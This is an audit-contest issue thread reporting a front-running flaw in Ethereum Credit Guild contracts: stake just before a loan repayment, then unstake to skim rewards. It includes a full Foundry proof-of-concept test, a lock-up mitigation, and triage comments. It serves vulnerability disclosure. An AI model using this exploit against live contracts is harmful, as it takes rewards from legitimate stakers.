c4-bot-6 commented 7 months ago

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L628 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L114 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L158

Vulnerability details

Impact

When Bob decides to repay his debt and makes a call to repay() function, Alice may frontrun him to stake tokens in SurplusGuildMinter.sol. After Bob has repayed his loan, the notifyPnL function will be called from ProfitManager.sol. This will distribute rewards based on the ProfitSharingConfig. After the repayment is done , Alice can unstake her tokens and received tokens from the reward in the next block.

Proof of Concept

Test setUp() function

contract SurplusGuildMinterUnitTest is Test {
    address private governor = address(1);
    address private guardian = address(2);
    address private term;
    Core private core;
    ProfitManager private profitManager;
    ProfitManager private profitManagerReal;
    CreditToken credit;
    GuildToken guild;
    GuildToken guildReal;
    RateLimitedMinter rlgm;
    SurplusGuildMinter sgm;
    SurplusGuildMinter sgmReal;
    MockERC20 collateral;
    LendingTerm termReal;
    AuctionHouse auctionHouse;
    RateLimitedMinter rlcm;
    SimplePSM private psm;

    // GuildMinter params
    uint256 constant MINT_RATIO = 1e18;
    uint256 constant REWARD_RATIO = 5e18;

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);
        core = new Core();

        collateral = new MockERC20();

        profitManagerReal = new ProfitManager(address(core));
        guildReal = new GuildToken(address(core), address(profitManagerReal));

        profitManager = new ProfitManager(address(core));
        credit = new CreditToken(address(core), "name", "symbol");
        guild = new GuildToken(address(core), address(profitManager));
        rlgm = new RateLimitedMinter(
            address(core), /*_core*/
            address(guild), /*_token*/
            CoreRoles.RATE_LIMITED_GUILD_MINTER, /*_role*/
            type(uint256).max, /*_maxRateLimitPerSecond*/
            type(uint128).max, /*_rateLimitPerSecond*/
            type(uint128).max /*_bufferCap*/
        );
        sgm = new SurplusGuildMinter(
            address(core),
            address(profitManager),
            address(credit),
            address(guild),
            address(rlgm),
            MINT_RATIO,
            REWARD_RATIO
        );

        sgmReal = new SurplusGuildMinter(
            address(core),
            address(profitManagerReal),
            address(credit),
            address(guildReal),
            address(rlgm),
            MINT_RATIO,
            REWARD_RATIO
        );

        rlcm = new RateLimitedMinter(
            address(core), /*_core*/
            address(credit), /*_token*/
            CoreRoles.RATE_LIMITED_CREDIT_MINTER, /*_role*/
            type(uint256).max, /*_maxRateLimitPerSecond*/
            type(uint128).max, /*_rateLimitPerSecond*/
            type(uint128).max /*_bufferCap*/
        );

        profitManager.initializeReferences(address(credit), address(guild), address(0));

        psm = new SimplePSM(address(core), address(profitManagerReal), address(credit), address(collateral));
        profitManagerReal.initializeReferences(address(credit), address(guildReal), address(psm));

        term = address(new MockLendingTerm(address(core)));

        termReal = LendingTerm(Clones.clone(address(new LendingTerm())));
        auctionHouse = new AuctionHouse(address(core), 650, 1800);
        termReal.initialize(
            address(core),
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManagerReal),
                guildToken: address(guildReal),
                auctionHouse: address(auctionHouse),
                creditMinter: address(rlcm),
                creditToken: address(credit)
            }),
            LendingTerm.LendingTermParams({
                collateralToken: address(collateral),
                maxDebtPerCollateralToken: 2000e18,
                interestRate: 0.1e18, // 10% APR
                maxDelayBetweenPartialRepay: 63115200,
                minPartialRepayPercent: 0.2e18,
                openingFee: 0,
                hardCap: 20_000_000e18
            })
        );
        // roles
        core.grantRole(CoreRoles.GOVERNOR, governor);
        core.grantRole(CoreRoles.GUARDIAN, guardian);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(rlgm));
        core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgm));
        core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgm));
        core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgmReal));
        core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgmReal));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));

        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(termReal));
        core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(termReal));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));
        // add gauge and vote for it
        guild.setMaxGauges(10);
        guild.addGauge(1, term);
        guild.mint(address(this), 50e18);
        guild.incrementGauge(term, uint112(50e18));

        // add gauge and vote for it
        guildReal.setMaxGauges(10);
        guildReal.addGauge(1, address(termReal));
        guildReal.mint(address(this), 20_000_000e18 * 2);
        guildReal.incrementGauge(address(termReal), 20_000_000e18);

        // labels
        vm.label(address(core), "core");
        vm.label(address(profitManager), "profitManager");
        vm.label(address(credit), "credit");
        vm.label(address(guild), "guild");
        vm.label(address(rlgm), "rlcgm");
        vm.label(address(sgm), "sgm");
        vm.label(term, "term");
    }

POC:

 function testStakeAndUnstakeRightAfterRepay() public {
        // prepare & borrow
        address staker = makeAddr("staker");
        uint256 STAKE_AMOUNT = 50e18;
        uint256 borrowAmount = 20_000e18;
        uint256 collateralAmount = 15e18;
        collateral.mint(address(this), collateralAmount);
        collateral.approve(address(termReal), collateralAmount);

        bytes32 loanId = termReal.borrow(borrowAmount, collateralAmount);

        // Time passes and now it's time to repay the debt
        vm.warp(block.timestamp + 31557600);
        vm.roll(block.number + 5000);
        uint256 debt = termReal.getLoanDebt(loanId);
        credit.mint(address(this), debt - borrowAmount);
        credit.approve(address(termReal), debt);

        //SetUp the staking
        credit.mint(staker, STAKE_AMOUNT);
        vm.prank(staker);
        credit.approve(address(sgmReal), STAKE_AMOUNT);

        guildReal.mint(address(sgmReal), STAKE_AMOUNT);
        guildReal.incrementGauge(address(termReal), uint112(STAKE_AMOUNT));

        //Stake just before the repay of the loan to get the rewards.
        vm.prank(staker);
        sgmReal.stake(address(termReal), STAKE_AMOUNT);

        vm.prank(governor);
        profitManagerReal.setProfitSharingConfig(
            0.5e18, // surplusBufferSplit
            0, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        uint256 balanceBeforeRewards = profitManagerReal.termSurplusBuffer(address(termReal));
        console.log("Balance after stake!", balanceBeforeRewards);

        //REPAY
        termReal.repay(loanId);

        //Unstake and get your rewards!
        vm.prank(staker);
        sgmReal.unstake(address(termReal), STAKE_AMOUNT);

        uint256 balanceAfterRewards = credit.balanceOf(staker);
        console.log("Balance after unstake!", balanceAfterRewards);

        assert(balanceAfterRewards>balanceBeforeRewards);
        //Balance after stake! 50000000000000000000
        //Balance after unstake! 50002499987500062450
    }

Tools Used

Foundry, Manual review

Recommended Mitigation Steps

Add lock up period for staking.

Assessed type

Timing

c4-pre-sort commented 7 months ago

0xSorryNotSorry marked the issue as sufficient quality report

c4-pre-sort commented 7 months ago

0xSorryNotSorry marked the issue as duplicate of #906

c4-pre-sort commented 7 months ago

0xSorryNotSorry marked the issue as duplicate of #877